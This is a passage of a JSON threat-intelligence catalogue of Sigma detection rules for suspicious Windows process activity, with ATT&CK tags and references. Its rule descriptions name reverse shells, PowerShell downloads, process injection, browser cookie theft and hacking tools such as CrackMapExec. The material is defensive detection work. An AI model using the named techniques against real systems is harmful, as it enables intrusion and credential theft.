          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_redirect_local_admin_share.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048"
        ]
      },
      "related": [
        {
          "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ab9e3b40-0c85-4ba1-aede-455d226fd124",
      "value": "Suspicious Redirection to Local Admin Share"
    },
    {
      "description": "Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute",
      "meta": {
        "author": "frack113, manasmbellani",
        "creation_date": "2022/02/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_wlrmdr.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9cfc00b6-bfb7-49ce-9781-ef78503154bb",
      "value": "Wlrmdr Lolbin Use as Launcher"
    },
    {
      "description": "Detects the execution of a renamed version of the \"Mavinject\" process. Which can be abused to perform process injection using the \"/INJECTRUNNING\" flag",
      "meta": {
        "author": "frack113, Florian Roth",
        "creation_date": "2022/12/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_renamed_mavinject.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Hexacorn/status/776122138063409152",
          "https://github.com/SigmaHQ/sigma/issues/3742",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md",
          "https://twitter.com/gN3mes1s/status/941315826107510784",
          "https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection",
          "https://reaqta.com/2017/12/mavinject-microsoft-injector/",
          "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_mavinject.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055.001",
          "attack.t1218.013"
        ]
      },
      "related": [
        {
          "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1bae753e-8e52-4055-a66d-2ead90303ca9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e6474a1b-5390-49cd-ab41-8d88655f7394",
      "value": "Renamed Mavinject.EXE Execution"
    },
    {
      "description": "Detects usage of the \"TcpClient\" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang \"Invoke-PowerShellTcpOneLine\" reverse shell and other.",
      "meta": {
        "author": "FPT.EagleEye, wagga, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/03/03",
        "falsepositive": [
          "In rare administrative cases, this function might be used to check network connectivity"
        ],
        "filename": "proc_creation_win_powershell_reverse_shell_connection.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/",
          "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1",
          "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "edc2f8ae-2412-4dfd-b9d5-0c57727e70be",
      "value": "Potential Powershell ReverseShell Connection"
    },
    {
      "description": "Detects the usage of \"mstsc.exe\" with the \"/v\" flag to initiate a connection to a remote server.\nAdversaries may use valid accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/07",
        "falsepositive": [
          "WSL (Windows Sub System For Linux)"
        ],
        "filename": "proc_creation_win_mstsc_remote_connection.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_remote_connection.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "954f0af7-62dd-418f-b3df-a84bc2c7a774",
      "value": "New Remote Desktop Connection Initiated Via Mstsc.EXE"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/13",
        "falsepositive": [
          "Legitimate usage of the tool"
        ],
        "filename": "proc_creation_win_remote_access_tools_screenconnect.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "57bff678-25d1-4d6c-8211-8ca106d12053",
      "value": "Remote Access Tool - ScreenConnect Execution"
    },
    {
      "description": "Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter",
      "meta": {
        "author": "bohops",
        "creation_date": "2022/10/30",
        "falsepositive": [
          "False positives depend on custom use of vsls-agent.exe"
        ],
        "filename": "proc_creation_win_vslsagent_agentextensionpath_load.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/bohops/status/1583916360404729857",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vslsagent_agentextensionpath_load.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "43103702-5886-11ed-9b6a-0242ac120002",
      "value": "Suspicious Vsls-Agent Command With AgentExtensionPath Load"
    },
    {
      "description": "Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.\nThis could be a sign of obfuscation of a fat finger problem (typo by the developer).\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_no_space_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/cyb3rops/status/1562072617552678912",
          "https://ss64.com/nt/cmd.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_no_space_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a16980c2-0c56-4de0-9a79-17971979efdd",
      "value": "Cmd.EXE Missing Space Characters Execution Anomaly"
    },
    {
      "description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation",
      "meta": {
        "author": "Nextron Systems",
        "creation_date": "2022/06/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_msdt_susp_parent.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nao_sec/status/1530196847679401984",
          "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7a74da6b-ea76-47db-92cc-874ad90df734",
      "value": "Suspicious MSDT Parent Process"
    },
    {
      "description": "Detects the PowerShell command lines with special characters",
      "meta": {
        "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Amazon SSM Document Worker",
          "Windows Defender ATP"
        ],
        "filename": "proc_creation_win_powershell_cmdline_special_characters.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1027",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d7bcd677-645d-4691-a8d4-7a5602b780d1",
      "value": "Potential PowerShell Command Line Obfuscation"
    },
    {
      "description": "Detects known WMI recon method to look for unquoted service paths using wmic. Often used by pentester and attacker enumeration scripts",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_recon_unquoted_service_search.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py",
          "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
          "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_unquoted_service_search.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "68bcd73b-37ef-49cb-95fc-edc809730be6",
      "value": "Potential Unquoted Service Path Reconnaissance Via Wmic.EXE"
    },
    {
      "description": "Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/07/03",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_desktopimgdownldr_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/",
          "https://twitter.com/SBousseaden/status/1278977301745741825",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bb58aa4a-b80b-415a-a2c0-2f65a4c81009",
      "value": "Suspicious Desktopimgdownldr Command"
    },
    {
      "description": "Detects Certipy a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2023/04/17",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_certipy.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/ly4k/Certipy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_certipy.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.credential_access",
          "attack.t1649"
        ]
      },
      "related": [
        {
          "dest-uuid": "7de1f7ac-5d0c-4c9c-8873-627202205331",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6938366d-8954-4ddc-baff-c830b3ba8fcd",
      "value": "HackTool - Certipy Execution"
    },
    {
      "description": "Detects potential commandline obfuscation using known escape characters",
      "meta": {
        "author": "juju4",
        "creation_date": "2018/12/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_cli_obfuscation_escape_char.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Hexacorn/status/885553465417756673",
          "https://web.archive.org/web/20190213114956/http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/",
          "https://www.mandiant.com/resources/blog/obfuscation-wild-targeted-attackers-lead-way-evasion-techniques",
          "https://twitter.com/Hexacorn/status/885570278637678592",
          "https://twitter.com/vysecurity/status/885545634958385153",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_escape_char.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1140"
        ]
      },
      "related": [
        {
          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f0cdd048-82dc-4f7a-8a7a-b87a52b6d0fd",
      "value": "Potential Commandline Obfuscation Using Escape Characters"
    },
    {
      "description": "Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/08/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_susp_ps_downloadfile.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_ps_downloadfile.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.command_and_control",
          "attack.t1104",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8f70ac5f-1f6f-4f8e-b454-db19561216c5",
      "value": "PowerShell DownloadFile"
    },
    {
      "description": "Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_dns_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/unusual-child-process-of-dns.exe.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_susp_child_process.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1133"
        ]
      },
      "related": [
        {
          "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "a4e3d776-f12e-42c2-8510-9e6ed1f43ec3",
      "value": "Unusual Child Process of dns.exe"
    },
    {
      "description": "Detects Obfuscated use of Clip.exe to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_invoke_obfuscation_clip.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_clip.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b222df08-0e07-11eb-adc1-0242ac120002",
      "value": "Invoke-Obfuscation CLIP+ Launcher"
    },
    {
      "description": "Detects possible password spraying attempts using Dsacls",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Legitimate use of dsacls to bind to an LDAP session"
        ],
        "filename": "proc_creation_win_dsacls_password_spray.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ss64.com/nt/dsacls.html",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)",
          "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bac9fb54-2da7-44e9-988f-11e9a5edbc0c",
      "value": "Potential Password Spraying Attempt Using Dsacls.EXE"
    },
    {
      "description": "Detect usage of the \"sqlite\" binary to query databases in Chromium-based browsers for potential data stealing.",
      "meta": {
        "author": "TropChaud",
        "creation_date": "2022/12/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sqlite_chromium_profile_data.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/84d9edaaaa2c5511144521b0e4af726d1c7276ce/atomics/T1539/T1539.md#atomic-test-2---steal-chrome-cookies-windows",
          "https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_chromium_profile_data.yml"
        ],
        "tags": [
          "attack.credential_access",
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          "attack.t1555.003",
          "attack.collection",
          "attack.t1005"
        ]
      },
      "related": [
        {
          "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff",
          "tags": [
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "24c77512-782b-448a-8950-eddb0785fc71",
      "value": "SQLite Chromium Profile Data DB Access"
    },
    {
      "description": "Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution",
      "meta": {
        "author": "Thomas Patzke, Romaissa Adjailia, Florian Roth (Nextron Systems)",
        "creation_date": "2017/06/12",
        "falsepositive": [
          "Legitimate administrative tasks"
        ],
        "filename": "proc_creation_win_sysinternals_psexesvc.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.youtube.com/watch?v=ro2QuZTIMBM",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "fdfcbd78-48f1-4a4b-90ac-d82241e368c5",
      "value": "PsExec Service Execution"
    },
    {
      "description": "Detects potential DLL injection and execution using \"Tracker.exe\"",
      "meta": {
        "author": "Avneet Singh @v3t0_, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_tracker.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tracker.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1055.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "148431ce-4b70-403d-8525-fcc2993f29ea",
      "value": "Potential DLL Injection Or Execution Using Tracker.exe"
    },
    {
      "description": "Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges.",
      "meta": {
        "author": "frack113, Tim Shelton (update fp)",
        "creation_date": "2022/12/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_elevated_system_shell.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Wh04m1001/SysmonEoP",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elevated_system_shell.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "178e615d-e666-498b-9630-9ed363038101",
      "value": "Elevated System Shell Spawned"
    },
    {
      "description": "Detects potentially suspicious child processes spawned by PowerShell",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Tim Shelton",
        "creation_date": "2022/04/26",
        "falsepositive": [
          "Some false positive is to be expected from PowerShell scripts that might make use of additional binaries such as \"mshta\", \"bitsadmin\", etc. Apply additional filters for those scripts when needed."
        ],
        "filename": "proc_creation_win_powershell_susp_child_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/ankit_anubhav/status/1518835408502620162",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_child_processes.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e4b6d2a7-d8a4-4f19-acbd-943c16d90647",
      "value": "Potentially Suspicious PowerShell Child Processes"
    },
    {
      "description": "Detects suspicious process patterns found in logs when CrackMapExec is used",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_crackmapexec_patterns.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_patterns.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f26307d8-14cd-47e3-a26b-4b4769f24af6",
      "value": "HackTool - CrackMapExec Process Patterns"
    },
    {
      "description": "Detects the execution of a system command via the ScreenConnect RMM service.",
      "meta": {
        "author": "Ali Alwashali",
        "creation_date": "2023/10/10",
        "falsepositive": [
          "Legitimate use of ScreenConnect. Disable this rule if ScreenConnect is heavily used."
        ],
        "filename": "proc_creation_win_remote_access_tools_screenconnect_remote_exec.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/pull/4467",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_remote_exec.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b1f73849-6329-4069-bc8f-78a604bb8b23",
      "value": "Remote Access Tool - ScreenConnect Remote Command Execution"
    },
    {
      "description": "Detects the execution of \"gpg.exe\" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/06",
        "falsepositive": "No established falsepositives",
        "filename": "proc_creation_win_gpg4win_portable_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://securelist.com/locked-out/68960/",
          "https://www.trendmicro.com/vinfo/vn/threat-encyclopedia/malware/ransom.bat.zarlock.a",
          "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1486/T1486.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_portable_execution.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1486"
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      },
      "related": [
        {
          "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "77df53a5-1d78-4f32-bc5a-0e7465bd8f41",
      "value": "Portable Gpg.EXE Execution"
    },
    {
